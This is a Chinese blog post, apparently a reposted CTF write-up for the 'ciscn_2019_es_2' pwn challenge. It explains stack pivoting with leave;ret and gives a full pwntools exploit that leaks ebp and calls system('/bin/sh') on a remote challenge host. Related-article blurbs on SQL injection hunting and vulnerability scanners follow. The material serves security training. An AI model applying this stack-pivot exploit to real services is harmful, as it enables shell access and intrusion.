ciscn_2019_es_2(栈迁移)

news/2025/1/18 15:34:57/文章来源:https://www.cnblogs.com/fdddddd/p/18678477

看一下ida
image
两个read函数都是读取0x30(48),然后s距离ebp有0x28(40),所以虽然有溢出但只溢出了两个4字节,也就是只能覆盖到ebp和ret。
这时候就需要运用栈迁移
栈迁移就是当溢出不够多的时候,这时候可以考虑把栈给迁移去其它地方,利用leave_ret指令控制ebp,使其指向我们写的rop的地址,执行。

leave:(返回上级函数时,恢复原本栈空间)
move esp,ebp #ebp指向esp所指的地方
pop ebp #弹出ebp

ret:(返回上级函数时,执行上级函数的指令)
(相当于)pop eip

执行两次或多次leave_ret
找一下leave_ret:
ROPgadget --binary ./ciscn_2019_es_2 --only "leave|ret"| grep "ret"
image
在第一个read找出ebp的地址

点击查看代码
payload1=b'a'*0x27+b'b'
io.send(payload1)
io.recvuntil('b')
ebp=u32(io.recv(4))
因为一般read函数读取之后会在所输入的最后面自己加一个'\0',这里我们直接填满read就加不了了,然后printf就会一直读取到ebp的地址(printf遇到\x00才会停止读取)
exp
from pwn import *
context.log_level='debug'
#io=process('./ciscn_2019_es_2')
io=remote('node5.buuoj.cn',28864)
payload1=b'a'*0x27+b'b'
io.send(payload1)
io.recvuntil('b')
ebp=u32(io.recv(4))
print(hex(ebp))
#gdb.attach(io)#在溢出函数执行完后看
leave_ret=0x08048562 
system=0x08048400
main=0x080485FF
payload2=b'rrrr'+p32(system)+p32(main)+p32(ebp-0x28)+b'/bin/sh'#调试一下得到binsh的地址为ebp-0x28
payload2=payload2.ljust(0x28,b'\x00')   #一直填充直到ebp前面为止
payload2+=p32(ebp-0x38)   #把ebp控制到‘rrrr’处
payload2+=p32(leave_ret)  #返回地址填leave_ret,即执行两次,使得代码的返回地址为system
io.sendline(payload2)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/871263.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nexpose 7.3.0 for Linux Windows - 漏洞扫描

Nexpose 7.3.0 for Linux & Windows - 漏洞扫描Nexpose 7.3.0 for Linux & Windows - 漏洞扫描 Rapid7 on-prem Vulnerability Management, released Jan 15, 2025 请访问原文链接:https://sysin.org/blog/nexpose-7/ 查看最新版。原创作品,转载请保留出处。 作者主页…

ABB机器人3HNE00313-1示教器黑屏故障维修

随着工业自动化的快速发展,ABB机器人示教器在生产线上的应用越来越广泛。然而,在使用过程中,示教器偶尔也会出现故障,其中比较常见的一种是ABB工业机械手示教器黑屏故障。 一、ABB工业机器人示教盒黑屏故障原因分析 1. 硬件故障:硬件故障是导致示教器黑屏的主要原因之一。…

windows双击查看ip

如何方便查看本地电脑的ip? 直接上干货: 1、在桌面右击,新建 => 文本文档; 2、重命令为ip.txt 3、双击打开,输入 ipconfig pause , 然后保存; 4、右击文档,重命令为“ip.bat”;5、再次双击此文档,ip地址就出来了; ps: ipconfig:是系统命令,用于查看ip的地址…

一个日h站的Nday

0x00 前言 今天先来无事的我翻起了qq收藏夹。忽然发现了一个去年EDUSRC群里一个老表发的洞。今天就给大家发出来耍耍。 抵制黄色网站人人有责,打造绿色上网环境。 面对正规网站时候,请不要做非法测试!!! 废话就不多说了。 0x01正文 fofa语句 body="<script type=t…

【触想智能】工业电脑一体机在数控机床设备上应用的注意事项以及工业电脑日常维护知识分享

数控技术的应用不但给传统制造业带来了革命性的变化,使制造业成为工业化的象征,而且随着数控技术的不断发展和应用领域的扩大,它对国计民生的一些重要行业(IT、汽车、轻工、医疗等)的发展起着越来越重要的作用,因为这些行业所需装备的数字化已是现代发展的大趋势。随着数控…

day0java准备

Java-001 Markdown 暂时跳过,vscode里未能实现编译 java 1.已配置环境 2.继续学黑马程序员:已到50/200 3.内存4.学到方法(C里函数)

NB!一款基于java开发的漏洞检测工具,集合了泛微、用友、大华、海康、致远、红帆、万户、帆软等漏洞

1、工具介绍 基于 https://github.com/yhy0/ExpDemo-JavaFX 上添加poc 2、工具下载链接: 工具下载:工具下载 3、新增检测漏洞用友NC-Cloud系统接口getStaffInfo存在SQL注入漏洞 用友U8-Cloud ReleaseRepMngAction存在SQL注入漏洞复现(CNVD-2024-33023) 用友U8-CRM系统getDeptN…

网络购物数据分析

#获取数据 import pandas as pd infor=pd.read_csv(buy_input_1.csv) infor.head(20) #选取预观察数据#方法1 # x1=infor["Annual Income"] # print(x1) # x2=infor["Spending Score"] # print(x2)# """ #方法2 # x1=infor.iloc[:,3] # …

了解ESP32睡眠模式及其功耗

转载自:https://lastminuteengineers.com/esp32-sleep-modes-power-consumption/ Insight Into ESP32 Sleep Modes & Their Power ConsumptionThe ESP32 is undeniably a worthy competitor to many WiFi/MCU SoCs, outperforming them in both performance and price. Ho…

某公交管理系统简易逻辑漏洞+SQL注入挖掘

某公交管理系统挖掘 SQL注入漏洞 前台通过给的账号密码,进去 按顺序依次点击1、2、3走一遍功能点,然后开启抓包点击4当点击上图的4步骤按钮时,会抓到图下数据包,将其转发到burp的重放模块构造以下注入poc,可见注入延时了五秒,用户输入的语句成功拼接到原有的SQL语句上执行…

记一次常规的网络安全渗透测试

前言 上个月根据领导安排,需要到本市一家电视台进行网络安全评估测试。通过对内外网进行渗透测试,网络和安全设备的使用和部署情况,以及网络安全规章流程出具安全评估报告。本文就是记录了这次安全评估测试中渗透测试部分的内容,而且客户这边刚刚做过了一次等保测评,算一下…

工具 | Hfish

0x00 简介 HFish是一款社区型免费蜜罐。 下载地址 HFish下载: HFish下载 0x01 功能说明支持多种蜜罐服务支持自定义Web蜜罐支持流量牵引支持端口扫描感知能力支持多种告警方式注:仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不…